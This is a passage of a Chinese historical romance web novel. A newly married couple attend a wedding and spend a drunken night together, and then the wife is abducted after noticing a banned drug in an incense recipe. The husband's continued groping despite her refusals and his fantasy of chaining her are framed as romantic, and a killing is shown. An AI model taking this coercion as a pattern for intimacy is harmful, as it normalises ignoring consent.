正好,他们定的发钗打好。 鹿微眠取上东西,出去看钧宜装上马车。 封行渊还留在原地,他盯着那颗玫瑰石看了很久。 店小二以为他是走神,“您夫人刚出去了。” “我知道。”封行渊放下一个盒子,视线紧盯着那颗玫瑰石,“这颗玫瑰石,帮我拿上。” 店小二愣了一下。 身旁老板听见,连忙上前,“公子可是好眼光。” 他打开封行渊递过来的盒子,那一排金条差点没晃瞎他的眼睛。 老板立马躬身弯腰,“公子,给多了。” 封行渊回神,理所当然道,“不多,方才我夫人说喜欢的,都拿上。” 方才封行渊就觉得奇怪,鹿微眠说喜欢,为什么最后都没拿呢。 他喜欢的东西,都想要拢在自己身边,谁都不许再看一眼。 所以她说喜欢,他认为理应帮她全部得到。 鹿微眠还沉浸在刚才琳琅满目亮晶晶小石头的美貌中,看着钧宜装好马车就上去坐着。 出来采买的马车分成前后两部分,前面是供他们休息,后面是装采买的物品。 前后并不相通。 鹿微眠刚坐下,忽然感觉到后厢一重。 有人把什么东西堆了上去,堆得前面坐着的她身形都晃了一下。 鹿微眠探着脑袋刚想去看怎么回事,就看见封行渊进来。 “你又放东西了吗?” “我买了一块喜欢的小石头。” 鹿微眠听着难得有他喜欢的东西,“他们家宝石确实都还挺好看的,回家你给我看看你买的小石头。” 回到封府后。 鹿微眠看着堆满了房间的盒子,震惊地愣在原地。 “你,你买了‘一块’喜欢的小石头?” “嗯。”封行渊点头道,“这一块小石头是我喜欢的。” “其他的是你喜欢的。” 完了,他好像也没说错。 鹿微眠有点恍惚。 虽说从小到大,家里对她衣用首饰从来都是只多不少。 但这么多的,她还是第一次见。 “你,我,这个……”鹿微眠看着自己的妆匣,“我的妆匣好像放不下。” 封行渊看向了鹿微眠的梳妆台,发现确实如此。 他沉思片刻,而后轻快地笑了,“我们修个大点的宅院就能放下了。” 鹿微眠有点跟不上他的思绪,以为他是在开玩笑。 直到第二天营造司的工匠上门。 鹿微眠才意识到他是认真的。 营造司的工匠毕恭毕敬地朝鹿微眠行礼,“封夫人,陛下特批了几块地皮,封大人请我们过来问问您的意思。” 鹿微眠很惊讶,“陛下批的?” “是啊,”工匠解释,“今早封大人上值去请旨开府。正好从前陛下给大人的赏赐里面有些良田,大人说用不着,更换成宅院地皮,陛下就同意了。” 鹿微眠接过工匠给的地契,“这样啊。” “或者,您要是不想搬动,正好封府当家的不是出事了吗,”工匠压低声音,“封贺如今请辞回老家。陛下说也可以将封府当家的地皮移交给您,推平二房宅院,给您重修。” 鹿微眠翻看着地契,“我怕是一时半刻决定不下来,等我考量一阵子,再与你们说。” “好。”工匠答应着,“宅院动土是大事,夫人是要好好斟酌。” 鹿微眠将他们送出府门,回院时正好看见封贺在收拾宅院里封骏的东西。 大房一家人闷不吭声地帮衬着他们。 封贺瞧见鹿微眠,不自觉地视线回避。 而旁边罗氏则死死地盯着她。 罗氏一夜之间白发丛生,鹿微眠从远处看,一时间没认出来。 她敛起目光,先行回房。 罗氏头发杂乱,声音沉哑,“他们为什么叫营造司来?” “是毁了我两个孩子,还想要推平我的家产吗。” 大房夫人实在是不敢听,“弟妹你就别多想了。” “眼下咱们没有被牵连已是好的,年关行刑后,把,把骏儿带回老家安葬,日后就平平顺顺地过日子。” 罗氏麻木道,“我已经没有日子可以过了。” 半年前,还是一家和乐。 封轸一回来,她家破人亡,短短几日丧女又要丧子。 她怎能不恨。 大房夫人眼见劝不动,连忙叫人,“来人,二夫人累了,快扶她下去休息。” 她帮衬着把罗氏送回去。 封贺沉默良久,枯坐在座椅上。 大房封易正要劝,就听见封贺来了一句,“早知我该在他小时候送来,就掐死他。” 封易吓得脸色惨白,环顾四周,“二弟啊,这可不敢胡说。” “怎么叫胡说?”封贺看他,“你还帮着他说话了?” 封易见他扬高声音,更加害怕了,“你瞧瞧你……” “你是不是心里很高兴啊。”封贺站起来,“我当家一直压你一头,你如今终于找到机会当家了?” 封易听来这话简直无礼,“哎呀,我们是亲兄弟啊。如今事情已经这样了,你还要我们兄弟离心吗?” “还装,我们家遭难的时候,怎么没见你出来帮忙,现在倒是一个劲地说好话了?!”封贺指着他的鼻子,“你这个做哥哥的,懦弱无用,出了事半点忙都帮不上!只会等事发了出来当老好人!” “现在还教育起我来了,你也配!” 封易脸憋得通红,“你!我哪里没帮?!你瞧瞧那骏儿做的事情还有回旋的余地吗?!” “这是你们自己家教养出来的孩子,如今怪得着我吗?” “骏儿如何会杀他亲妹妹,这是栽赃陷害!”封贺和罗氏始终不能相信,一口咬定是封轸栽赃,“我告诉你,别现在光顾着看热闹,你们家也不会好到哪里去!你就等着吧!” 封贺说完掉头就走。 封易气得脸色涨红,甩袖离开,“岂有此理。” 封府宅院里分崩离析。 只有那个曾被他们挤兑的偏院热热闹闹浑然不觉。 暮云暮雨帮鹿微眠挑选着* 明日去赴婚宴的衣装。 院子里打杂的下人们都在商议宅院如何修,新宅院要如何布置。 一派其乐融融之景。 次日鹿微眠起了个大早沐浴梳妆。 到底是去参加别人的喜宴,她还是选了一件低调的烟云软银蝴蝶裙。 鹿微眠在衣柜边的大铜镜前整理着自己的衣装,拉起裙摆左右翻看时。 透过镜子看见封行渊换了一件暮云灰银丝锦袍,坐在不远处的软椅上等她。 那身锦袍正好与她相衬。 鹿微眠收拾好走上前,“衣服自己挑的?” 封行渊默认,“怕选丑了,夫人不愿与我同行。” 鹿微眠发觉他眼光的确不错,她很满意,“那勉强准你与我一道赴宴。” 明国公三姑娘嫁的是太傅家次子。 是门当户对的大户人家结亲,自然门庭若市。 喜宴摆了一整座楼。 鹿微眠扶着封行渊下车,门口是太傅一家相迎。 鹿微眠对他们一家都有印象,从前做公主伴读的时候,时常与太傅和他们家的公子姑娘们来往。 那是彬彬有礼的一家读书人,看起来很是文雅。 鹿微眠看见他们想起些不该想到的回忆。 当年在皇家书苑,慕青辞读书间隙给她传字条。 是太傅家的公子们帮得忙。 听说字句都是他们帮忙斟酌的。 因而鹿微眠乍一见到他们,有些许微妙的不自在。 而太傅家的公子们看见她,也想起了同样的事情。 小时候他们都以为鹿微眠是板上钉钉的太子妃。 如今扶她下来的,是太子自幼的死对头。 重点是,鹿微眠不知道,但他们知道。 封轸当时是太子的药人,所以时常伴驾。 慕青辞休息之处,封轸也在,他们只当他是个奴才,说话并不回避。 所以封轸似乎围观了慕青辞与他夫人来往的全过程,以及,他们是如何给慕青辞出谋划策给人小姑娘示好的。 怎么说呢。 现在他们有点怕封轸把婚宴给他们掀了。 几位公子你碰碰我,我碰碰你,大公子第一个被推了出来打招呼,“二位贵客来了!” 封行渊轻轻眯了下眸子,眼底多了几分打量。 似乎也想起什么来。 大公子没敢与封行渊对视,“来,快请进门。” 鹿微眠应下,按照下人们的示意,前去把礼金和新婚贺礼放下后入席。 他们来得尚早,周围宾客只来了一小部分。 新郎还在接亲路上。 因此明国公那边娘家人也还没有来。 二层贵宾视野颇好,鹿微眠坐在窗口能看见沿路铺好的红毯和满地的干果和鲜花。 听到喜乐声就知道他们来了。 新郎骑马在队伍前面,看起来面色红润。 后面是接亲长龙与新娘的十里红妆。 鹿微眠撑着下巴欣赏着这盛大的光景。 旁边有亲朋感慨,“这二人青梅竹马,两情相悦,如今也算是修成正果了。” “是啊。” 封行渊闻言,看向楼下。 新郎请新娘下轿,周围人都是眉开眼笑。 似乎与他们当时成婚很不一样。 封行渊以为,成婚都是那样,两个陌生人被强行塞在一起。 因为当初陛下指婚时,喜婆是这么说的。 封行渊当时不懂,他身边多一个少一个人也无所谓。 现在他想知道,“他们为何如此开心?” 鹿微眠沉浸在别人结亲的喜悦中,“与喜欢的人成婚,当然是会开心的。” 封行渊似懂非懂。 喜欢的人。 封行渊对这种感情没有概念。 只知道喜欢一个东西,他会想要得到它,比如她的头发。 “喜欢一个人是什么样的?” 鹿微眠没想到他会这么问,但要说让她总结,她也说不出来特别简单的描述。 大概感情这东西,本身就是复杂的,“喜欢一个人大概是喜欢他的全部,想要他的全部,跟他在一起会很开心,但看见他跟别人在一起会很不开心,所以想要他只和自己在一起。” 封行渊轻转着手上的指环,看着她思考良久。 鹿微眠左右也没当回事,看见新郎新娘进门,连忙拉他,“他们进来了。” 她身侧响起一道很低的思索声,“原来是我喜欢你。” 鹿微眠怔愣一下,转头看过去。 封行渊还以为他只是想跟她做夫妻。 但是为什么想做夫妻他没想明白,原来是喜欢。 他是想跟她一直在一起,看见别人觊觎她会生气想杀人。 他喜欢她的头发,喜欢她的身体,喜欢她的全部。 所以都想要。 封行渊又道,“所以你不喜欢慕青辞了,是不喜欢全部的他。” 鹿微眠扶着阁楼围栏的手指轻轻收拢,这会儿提起慕青辞有些奇怪。 但她不得不承认,“嗯。” 他问,“不喜欢他什么?” 鹿微眠回着,“不喜欢他心术不正,人品不端。纵使伤害我的事情不是他做的,可坏事也没少做。” “我若只贪着他对我好,等有一日他厌弃我,也能对我下手。” 封行渊没说话,也没问她对他有没有喜欢。 而是想起了慕青辞对他说的话。 “封轸,你我是一类人。” “她倘若不要我了,会真心想要你吗?” 那时他对这些话并没有太多感觉。 可眼下他似乎懂了些,“夫人觉得,我是个什么样的人?” “你不要再想他了。”鹿微眠以为是提到了慕青辞他不高兴,捧过他的脸,“我跟他都过去了。这样,我们以后谁再提慕青辞,谁是小狗。” 封行渊沉默良久。 他想,他最近已经开始学律法了。 而且善良地没直接炸了大理寺上下。 没过一刻钟,“我跟他比……” 鹿微眠目光扫过去。 封行渊噤声。 他再度开口时问道,“那你会离开吗?” 鹿微眠觉得他的问题越来越奇怪了,“现在不是好好的吗,我为什么要离开?” 可梦里她会弃他。 封行渊凝眉。 鹿微眠不知道他到底在想什么,只觉得他像一个患得患失的小动物,她小步挪到他面前,手指探进他的掌心,小声道,“哎呀,你不要再胡思乱想了。” “我哪也不去,就在你身边,我也不会跟别人跑了的。” 封行渊被她哄得心口轻震。 他垂眸,看她朱唇点绛,视线笼上一层雾气。 “那夫人要是跑了怎么办?” 鹿微眠眼下只想趁着都去观礼了人少,把他赶紧哄好。 不然宴席上他一脸心事,总归是不太妥当,“我要是跑了,你就把我抓回来。” 封行渊黑瞳压低,视线描摹着她的唇线,“这是你说的。” 跑了,就抓回来,用漂亮的链子锁住。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m【m.o.xiexs】 40-50 第41章 禁药 鹿微眠才不相信她的乖乖夫君能做出什么惊天地泣鬼神的事情来。 她知道他一哄就好, 眼下不过随口说说。 况且她当真也没想过跑了的事情。 封行渊又想亲她了。 可鹿微眠没有注意到,眼见人哄好了,也凑过去观礼。 封行渊在原地站了一会儿, 指腹轻蹭唇角。 这会儿正在拜堂。 高堂上坐着的是卢太傅和他夫人林氏。 林氏慈眉善目,但身量纤纤,看着有些许病气。 直到新婚夫妻被送入洞房, 那林氏才重咳出声, 看起来像是压抑了许久, 为了避免婚宴上不出错才强忍着没有咳出来。 这突然一发作,就格外引人注意。 林氏连忙摆手, 寻了个近处离开。 太傅府中几个公子凑过去查看。 旁边下人上前圆场, “宾客们快快入座吧,宴席马上开始了。” 也不知是不是错觉。 鹿微眠好像看见林氏掩唇咳的时候, 那帕子上沾了血迹。 宴席开始,明窈也随着娘家人入席,一并都在二层清静之处。 见鹿微眠也在, 便坐在了同一张桌子上。 鹿微眠问着,“太傅夫人近来可是生病了?” 明窈叹了口气,“积劳成疾,身子骨弱, 病了好几年了,今年格外严重。” “所以婚事也提前了, 想给她冲冲喜。” “我瞧着太傅这家中还挺和气的,也这般操心吗?” “自然了, ”明窈小声道, “这林氏并非太傅原配,是续弦。” “太傅府内, 三个公子都是原配留下的,太傅又钟情原配。这续弦难做,府中上下起先都不认她。俗话说日久见人心,也是十多年过去了,她才得府中上下敬重。不过才三十岁身子就累垮了,不知值不值得。” 鹿微眠心下了然。 当真是家家户户都有些自己才知道的苦楚。 她们俩闲话家常,说着说着都觉得自己身边格外安静。 转头看过去,发现卫沉不语,只是一味地给封行渊倒酒。 封行渊有些出神,重复着喝酒的动作。 明窈看笑了,拍了下卫沉,“你不怕把封大人灌醉了?” 卫沉这才停手。 怕。 但好像是封轸自己想喝。 封行渊看了他一眼,卫沉手上才恢复控制力。 鹿微眠很少看见封行渊跟谁关系好到可以推杯换盏,因而也没有拦着。 但回府鹿微眠就觉得他变奇怪了。 封行渊好像是醉了,但是还能正常走路说话。 就是反应慢了半拍。 两人回了房,鹿微眠卸下钗环,观察到封行渊进门净手的动作重复了许久。 鹿微眠走过去探着头看坐在桌前的人,“你是醉了吗?” 封行渊思绪空荡片刻,才回道,“没有。” 少年肤质偏白。 醉酒后白皙脸颊上有些不同寻常的红润。 加之他的长相本就是偏清秀干净,一双湿漉漉的眼睛,乍一看上去…… 有点可爱。 鹿微眠好奇地看着他醉酒的反应,“真的没有吗?” 被封行渊发现,他抬眼迎上鹿微眠的视线,又不自觉地挪开,“真的。” 鹿微眠打量着他。 他刚刚净手洗脸,脸颊上还有潮湿的水珠,唇瓣泛红,娇艳欲滴。 死不承认还要躲避她视线的样子,怎么看怎么好欺负。 鹿微眠恶念胆边生,凑过去在他唇上咬了一口。 封行渊像是被偷袭了,茫然地看向她。 “看什么啊,”鹿微眠理所当然道,“你不是时常咬我吗?我咬你就不行了?” 封行渊大抵是无法反驳,纤长的睫毛下垂。 但脸颊反倒是更红了一点。 鹿微眠发现他醉酒后竟然会害羞诶。 她更好奇了一点,戳了戳他的脸颊,“你脸好红啊。” 少年反应迟钝地给了个很拙劣的借口,“屋里热。” 鹿微眠借着他害羞的劲,胆子颇大,“那你把衣服脱了。” 少年秀眉轻蹙,那抹红润蔓延到了耳根,“不行。” “这么害羞啊。”鹿微眠坐进了他的怀里,摸了摸他温热发烫的脸颊,“你的身子我不能看吗?可是你都看过我的了。” 封行渊放任了她一会儿,别过头,给她的举动下了论断,“夫人在轻薄我。” 鹿微眠欺负他醉酒,说着歪理,“与我成婚不就是给我轻薄的?” 封行渊理解了片刻,“成婚就要被轻薄吗?” “不给夫人轻薄的夫君,不是好夫君。”鹿微眠摸了一会儿他的脸,手指下滑到他颈间。 封行渊听着她的话没有抗拒。 鹿微眠就大胆地咬了他两口,“疼不疼?” “不疼。” 鹿微眠用了些力气,似乎是要还他曾经的某些行为。 她还是善良了一点,始终没有咬破他,却还要问,“疼不疼?” 封行渊只觉得身上跟小猫爪子抓挠一样,她再怎么用力带来的都是痒。 虽然反应迟钝,但也顺着她,不然她越咬越痒,“疼。” 她果然高兴了。 鹿微眠顺着这个力道多咬了他几口,但奈何男人肩膀肌肉结实,她没咬几口就牙根发酸。 仔细想来,她还有些吃亏。 鹿微眠看了看自己的肩膀,又看了看他的。 他当真不费吹灰之力就能咬出痕迹,她费劲巴力地就留下了几个牙印。 鹿微眠不满足,顺着他的手臂摸到了他的手。 她额头倚靠在他怀里,把玩着他的手指。 封行渊手指修长匀称,手掌筋骨分明,能将她的手完全包裹住。 她真的很喜欢这双手,也就是趁着他醉酒她敢说,“给我摸一会儿好不好。” 封行渊没有动,由着她摸自己的手,“我能说不好吗?” 鹿微眠回绝,“不能。” 双手交握住的感觉很奇妙。 仿佛她完全被包裹住,她有点喜欢。 玩着玩着,鹿微眠视线又落到了他领口显露出来的肌肉线条。 肩臂结实,锁骨线深刻,再往下是…… 鹿微眠好奇地伸手碰了碰。 少年脊背僵直,低头看着她的举动。 鹿微眠轻轻按了按,发觉不用力的时候,男人胸肌也偏软。 或许是从前触碰到的时候他都是白日里的防备状态,所以都硌得疼。 眼下这样还是少见。 而此时,少年看向鹿微眠身上某处,“夫人也可以给我摸一会儿吗?” 鹿微眠对上他的视线,条件反射地拒绝,“不可以。” 封行渊没有坚持,但似乎觉得很遗憾。 为什么她可以他不可以。 鹿微眠很满意他这般乖,到入夜就寝时玩得有些累了才罢休。 她躺下习惯性地抱过一个枕头,刚抱过来就想起来旁边有个乖乖夫君。 等他明天清醒了,许是不会这样任人摆布了。 鹿微眠转过身,看他如常平躺着入睡。 凑过去,“封行渊?” 封行渊睁开眼睛,“嗯?” “抱我。” 少年看了她一会儿,不知是出于什么目的,把手伸了过去。 鹿微眠明显很开心,拉着他的手摆了一个舒服的姿势,让他在背后环住自己。 她的脊背紧贴着他的胸膛,满是令人舒适的安全感。 很快,她就感觉没那么安全了。 身后的人不知何时悄无声息地收紧了手臂。 起先鹿微眠还没觉得有什么,直到他的手探去了他一直想要触碰的地方。 鹿微眠心跳都漏了一拍,开始挣扎起来,“你,你的手……” 他好似学会了她的话,下巴抵着她的发顶,轻而易举地将她禁锢在怀里,“给我摸一会儿。” 昏暗的房间内满是暧昧的衣物摩挲声,变得混乱无比。 鹿微眠心口的位置被她刚才还在欣赏的大手握住。 轻轻收拢,雪白云朵从男人纤长如玉的手指中鼓胀开。 她越是挣扎,被捏得越紧,“不行。” 少年手上薄茧剐蹭着细嫩的肌肤,激起一层层战栗。 她透过被扯开的衣襟能看见那般混乱的光景。 那只漂亮的手,也在洁白漂亮之处落位。 封行渊发觉鹿微眠戏弄他是不讲道理的,因此他懂了,夫妻之间的情-趣,就是不讲道理。 酒醉是影响了他的反应速度,但不影响反应结果,他顺理成章地轻声道,“夫人自己要抱的。” “怎么抱了还不乐意了呢?” “我不是要这么抱。” “嗯?”他黑暗中尾音轻扬,像是带了钩子,勾得人心发痒。 鹿微眠轻咬唇瓣,呼吸剧烈地起伏着,“放开……别捏。” 他学得很快,“与我成婚不就是给我轻薄的?” 他酒后坏得也不加掩饰。 鹿微眠有点后悔方才欺负他醉酒说这样的歪理,只得妥协,“我要睡觉了,不要这样。” 他醉梦中轻吻了一下她的发顶,“我们这样睡。” 鹿微眠觉得自己贪图一时之快,吃尽了大亏。 她想趁着他睡着,自己再悄悄地挪回去,但鹿微眠低估了自己的睡着速度。 第二天醒来,她也没挪出去。 反倒是被翻过身来,像是抱喜欢的娃娃一样,被那结实的肩臂禁锢在胸口。 鹿微眠是被热醒的,他身上太热了。 她睁开眼睛看见的就是封行渊喉结与线条流畅的锁骨线。 她的寝衣早在昨晚就被扯开,这会儿乱得半挂在身上,露出大片雪白的肩颈。 鹿微眠正想拉好衣服从他怀里钻出去。 刚拉到一半抬头,径直对上封行渊审视的眸子。 鹿微眠恍惚间意识到。 他的视角,好像能看到她散开衣襟里的全部。 鹿微眠屏气,收紧了攥着领口的手指,“你醒啦。” 鹿微眠看着他们两个现在的状态,生怕他想起什么来,率先告状,“你昨晚喝醉了,非要占我便宜。” 封行渊声线偏哑,不知是酒醒后的干涩还是睡醒后的乏力,“有吗?” “有啊。”鹿微眠一面整理衣襟一面说着,“你昨晚就坐在那里,我去看你,你把我抱过去就……” “就什么?” “就亲我咬我,然后我顶多还了你几口罢了。”鹿微眠小声颠倒黑白,“你还抓着我的手不放,非要摸我。睡觉,也这样……” 封行渊好整以暇地听她说完,“夫人好像误会了点什么。” “我没有误会,你就是……” 封行渊继续,“我的意思是,我醉酒跟你不太一样。” 他捏了下她的耳垂,轻声道,“我不会忘记发生了什么。” 鹿微眠脑袋一空,僵硬地与他对视,“啊?” “嗯。” “哦,”鹿微眠尴尬地往下爬,甚至不清楚自己在胡说八道什么,“那那,那你还挺厉害的。” “我醉了就什么都不记得了,我以为都是这样。” 救命,她就耍了一次流氓,还被抓住了。 鹿微眠刚下床,就被抓住手腕。 封行渊问,“才卯时,不再躺会儿?” “不不不,不躺了。”鹿微眠想抽开手,“你好好休息。” 她抽了半天没抽开,转头对上封行渊那双妖冶深邃的异瞳。 “夫人想要摸摸抱抱,其实可以与我说。” 鹿微眠故作淡定,“我知道啊,我会与你说的。” 实际上说完,尴尬得飞速逃离卧房。 封行渊跟着晨起。 两人难得凑到一起用早膳,但一句话都没说。 鹿微眠闷头吃东西,封行渊则饶有兴致地打量着她。 他反正是没见过,调戏别人把自己弄脸红的。 很有趣。 封行渊要先一步用完早膳去上值。 直到他走了,鹿微眠才松了一口气。 一旁暮云观察着鹿微眠的反应,“夫人与姑爷这是怎么了?” 鹿微眠细声细气道,“没怎么。” 暮云瞧她脸红,一律当做打情骂俏。 封行渊去书房取了那个小盒子才离开封府,来到一处暗室。 他按下暗室墙壁机关,沉重的石门发出“隆隆”声响,一条密道应声出现。 封行渊缓步走下石阶,周围灯盏接连亮起。 不等下到最低层,就能看到底端密室内莹亮微光。 封行渊踏入密室内,烛灯全部亮起。 地下密室内一片流光溢彩,遍布着各式各样的宝物。 密室墙壁犹如石窟,每个石窟里都有漂亮精致的小石头雕琢而成的珍宝。 被排放得也很是整齐。 而密室最里侧,摆放着数枚粉色宝石。 与他在凤麟楼内采买的玫瑰石如出一辙。 这些粉色宝石有的嵌在手镯中,有的是衣饰挂件,有的制成王冠。 还有许多并未打磨的原石。 封行渊走上前,打开手里的盒子,将不久前刚采买回来的粉色宝石拿出来比对一番。 凤麟楼内买下来这一颗与这些宝物相比,实在是小巫见大巫。 封行渊仔细打量着,而后看着那个玫瑰石冠冕上一小块宝石缺口,将那块小的推了进去。 恰好契合。 宝石通透莹亮,映衬着墙壁烛光,绚烂夺目。 封行渊垂眸挑选了一番,拿起一颗掌心大小、未经打磨的玫瑰石,掂量了一下,放进盒子里带走。 邻近年关,长安城内又来了一批西方商贾队伍,大开集市。 大街上随处可见各色衣装服饰的人,长相样貌各有不同。 朝廷照常在长安城内布置上年关红灯笼,四处张灯结彩,好不热闹。 各家各户也逐步开始准备年货。 鹿微眠桌前摆着一张新院子的布局图纸,她执笔在画纸上涂色,每一种颜色代表一种花卉。 旁边营造司的人与她一同商议着。 画了一半,暮云从外面走进来,“夫人,前院的大房夫人前来见您,还带了些年货。” “大房。”鹿微眠放下笔墨,“他们怎么来了。” 她与大房基本没有过来往,只是新婚那几日见过一面仅此而已。 大房在她印象中一直是谨小慎微,不敢得罪二房,也怕沾染上他们。 鹿微眠示意营造司的工匠继续画着,先出门迎客。 鹿微眠走到前厅,远远地看见大房夫人双手攥紧,紧张地在屋子里踱步。 直到鹿微眠进来,她才堆出笑脸来,“侄媳。” “婶婶请坐。” “我这也是看快过年了,所以给你们拿了些年货,”大房夫人推了下手边的盒子,“我知道你们东西都不缺,这只是我们的一点心意。” 鹿微眠看着她的样子,想起来,最近好像快到了封骏行刑的日子。 这大房过来示好的行为,也等同于求饶,生怕他们会迁怒到他们一家身上。 鹿微眠示意暮云将东西带下去,“婶婶肯记得我们,我们就很高兴了。” “都是一家人,这低头不见抬头见的,我们一直都记挂着这边。”大房夫人没忍住试探着,“也就是二房那边,这几年跟中了魔障一样,怎能做出这般事情来。” 鹿微眠问,“二婶他们几时回老家?” “年前吧。”她谨慎道,“日后这院子里就是我们两家来往,有什么事情只要说开了,不至于有什么误会,一家人哪有隔夜仇呢。” 鹿微眠弯唇,“是啊。” “只要不违背律法原则,都好商量。” 大房夫人稍稍松了一口气,忙道,“我们一家都是老实本分人,不然也不会守着个大理司直干了一辈子。” “二房那一家人做的事情,我们是万万不敢掺和的,此番清查我们家也没查出什么来,也知我们虽没什么本事,但也不敢做那些脏污事。” 鹿微眠听着她如此情急地解释,仍然面色平静。 无形中给了大房些许压迫感。 仿佛说什么都无法影响这位高门千金,她只看对方做了什么或者要做什么。 大房不由得压了压声音,继续讨好道,“我们听说你们要修院子,这封府的院子我们家只要那一小部分,剩下的随你们处理,推平重修都好。” 鹿微眠听着她的口风笑了,“放心,我们也不是强盗,不是我们的我们也不会强占。” 大房听这个连连点头,“我自然知道侄媳一直都是通情达理的。” 她得到了自己想知道的全部答案便也起身,“那我就不打扰侄媳了,若是以后缺什么尽管跟我们说。” 鹿微眠送大房出院门。 暮雨小声嘀咕着,“咱们又不稀罕这封府的院子,还跟个宝贝一样来试咱们。” 鹿微眠随口道,“谁的家谁着急,可以理解。不过无妨,日后与咱们就没关系了。” 大房夫人轻快地离开,沿路路过二房,被罗氏瞧见。 “她怎么从那边院子里出来了?” 一旁婢女回着,“听说是去送年货去了。” “之前不见她有多关心那边,咱们一要走就开始套近乎,”罗氏草木皆兵的皱起眉,“该不会在商量着,如何分我们的家产。” 婢女听着并不好接话。 罗氏手指攥紧桌角,脸色很是难看,“诬害我们,倒是便宜了他们两家。” 鹿微眠在房内与营造司的人商议完,送他们出去。 正好封行渊从外面回来。 鹿微眠一见他回来,便兴高采烈道,“今晚西市那边热闹,我们要不要去采买些年货回来?正好给新院子带点东西。” 封行渊听着点头,“正好,我也有些想买的东西。” 他们商定好顺便在外面用晚膳就直接出了门。 街市上张灯结彩,熙熙攘攘,叫卖声此起彼伏。 鹿微眠去铺子里吃了一碗鸭花汤饼,又顺路买了个山楂糯米糖球,边吃边逛着。 两侧小铺子上摆放着许多新奇的小玩意。 看着就让人心情很好。 鹿微眠好奇地问他,“你想买什么?” 封行渊直白道,“书。” “书?”鹿微眠环顾四周,“书斋应当往那边走。” “书斋里没有。”封行渊说着,看见了目标,朝着旁边一个小摊贩走过去。 书斋里都是些很古板考究的知识书籍,而外面摊贩上摆着的都是闲暇娱乐的话本。 鹿微眠也跟上前,懂了一些,“你是想要话本啊。” 她刚问着,就看见封行渊拿起了被压在下面的书卷。 封皮如常,翻开之后,鹿微眠咬糖球的动作猛地一顿。 大胆而香艳的画面映入眼帘! 她抬眼看他。 却见封行渊仍然面色如常,像是真的在寻求一本能解答他困惑的书卷,“也不全然是话本。” “上次那本《洞玄秘经》只讲解了姿势,有许多事情都没讲,我还是想找找有没有更详尽的。” 鹿微眠现下是习惯了他的直白,可也没敢想他竟然能大庭广众之下这么坦然地聊这种事。 她紧张地环顾四周,发觉也没人注意,才轻轻拉了拉他的袖子。 “你小点声说。” 封行渊依从她,放低了声音,“比如它也没讲,那事和刑罚的区别。” 不然封行渊不能理解,拿那么大的东西冲撞那狭窄之处,跟上刑有什么区别。 夫妻间为什么要做这种会伤害对方的事情来获得快乐。 偏还是正常的,也被人称作周公之礼。 他梦里似乎很爱对她做这种事。 但眼下,他不想让她如梦里那般难捱。 鹿微眠其实觉得这种事,她应该可以回答。 但以她的脸皮来说,还是让他自己看书吧。 封行渊又问,“我选几本回去,我们一起学习如何?” 鹿微眠刚咬下来一个糖球,半边雪腮鼓鼓囊囊,半天装着啃东西没吱声。 封行渊当她默认,“我想与夫人好好做夫妻。” 鹿微眠嘴里糖球咽了下去,老板笑盈盈地与他介绍。 鹿微眠总觉得他们这般显眼,周围似乎一直有人在打量她。 她实在是无法堂而皇之地选这种闺房书籍,便将事情推给他,“那你选吧,我去那边看看香料。” 封行渊,“好。” 鹿微眠走远,才觉得脸上的躁意稍稍散去一些。 这一条街上的香料铺子都挨在一起,鹿微眠挨个进去闲逛。 正直西洋商队进京,有名的香料铺子楼里都会有西洋柜口开放。 鹿微眠进了长安城最大的香料铺子玄香斋,香料按楼层分布,每两层还有闲暇玩乐的茶点房。 顶层是药香,通常是带有些功效的香料,需要有专门的医师坐诊。 鹿微眠走到顶层,来往客人依然不少。 但不允许下人陪同,鹿微眠便让暮云在外面等着。 鹿微眠进去随意看着,走到了一旁的西洋药香桌台边,忽而看见了一个还没来得及包好的香料。 若是寻常香料兴许不会引起她的注意,但是这个香料很特别,是深紫色花朵样式。 和她母亲给她的云涎香一模一样。 鹿微眠轻“咦”了一声,多看了两眼那个香料配方。 上面写着西陵醉心花、水晶花,刚看了一半不成想却被店小二匆忙掩起来收走。 店小二有几分藏匿样子,笑呵呵地询问鹿微眠,“这位夫人想要什么香,这两日西洋商队带进来许多香料,我们这边可以调配你需要的香。” 鹿微眠隐约记得,那醉心花是朝廷禁药。 她母亲给的香料不是为了给她安神的吗,怎么会有这个。 鹿微眠不由得问着,“这云涎香是用西陵的香料制成的吗?” 店小二含糊着遮掩过去,“这是贵人特定的香料,恕不便告知。” 鹿微眠正要追问,店小二只顾着拿着东西离开。 她疑惑地思索了片刻,正要往外走,忽然后颈一痛。 鹿微眠眼前光影有些恍惚,茫然的回过头,只看到一个一身异族服饰的女子站在她身后。 鹿微眠失去了重心,眼前一黑昏了过去。 那女子声音悠然,“你们店里的小二怎么办的差事,我的配方都让人看见了。” 掌柜的连忙道歉,“这小二新来的,手脚不利索,还请姑娘海涵。” “我倒是能海涵,贵人能海涵吗?”女子打量着那小二,“若是方子泄露出去,影响贵人大事,谁能担待得起。” 店小二“噗通”一声跪在地上,一个劲地磕头,“姑娘恕罪!小的知错!” 女子伸手,勾起店小二的下巴,“这个世上,多得是求饶解决不了的事情。” 话落,突然间她食指指环弹出一柄细刃,径直刺穿了店小二的喉间。 她随手将人扔到旁边。 吓得一旁掌柜大气都不敢喘一口。 女子视线略过他,落在了地上昏迷不醒的鹿微眠身上。 饶有兴致道,“她怎么会知道这是云涎香呢,还敢留心配方。” 掌柜见注意力被转移到鹿微眠身上,连忙符合道,“这位夫人不知是怎么得知了云涎香的秘密,恐怕得好好探查!” 女子瞧着鹿微眠身上服制不一般,“官家夫人不好现下杀。” 她说着笑了,“不过在街市上失踪,应当是常有的事。” 女子笑声令掌柜的毛骨悚然。 他低着头不敢吭声。 一早就知道这位来自西陵的调香巫师不好招惹。 即便是女子将那位昏迷的官家夫人带走也没敢多看一眼。 暮云在外面等了很久都没见鹿微眠出来,立马上顶楼。 正好掌柜的从楼上下来,被暮云一把拉住,“我们夫人在上面吗?” 掌柜眼神闪躲,“什么夫人?上面许多夫人。” 暮云描述着,“就是穿了一件紫色襦裙,月白色大氅,戴了一个紫檀花流苏步摇……” 掌柜听这描述,越听越像是方才被那西陵巫师带走的夫人。 他心虚道,“我没印象。” “我上去看看……”暮云转头就要上楼。 忽然掌柜一伸手洒了一把迷香,暮云身形一晃,失去了意识跌倒在地。 封行渊选好了书本,将东西交给凌一,转头去寻鹿微眠时,看着四下人头攒动,却怎么都没有鹿微眠的身影。 封行渊寻着周围的香料铺子询问。 都说刚刚出去。 唯独到了玄香斋。 掌柜一口咬定,“这位夫人没有来过,我没有印象。” 封行渊别有深意地看着他,忽然笑了。 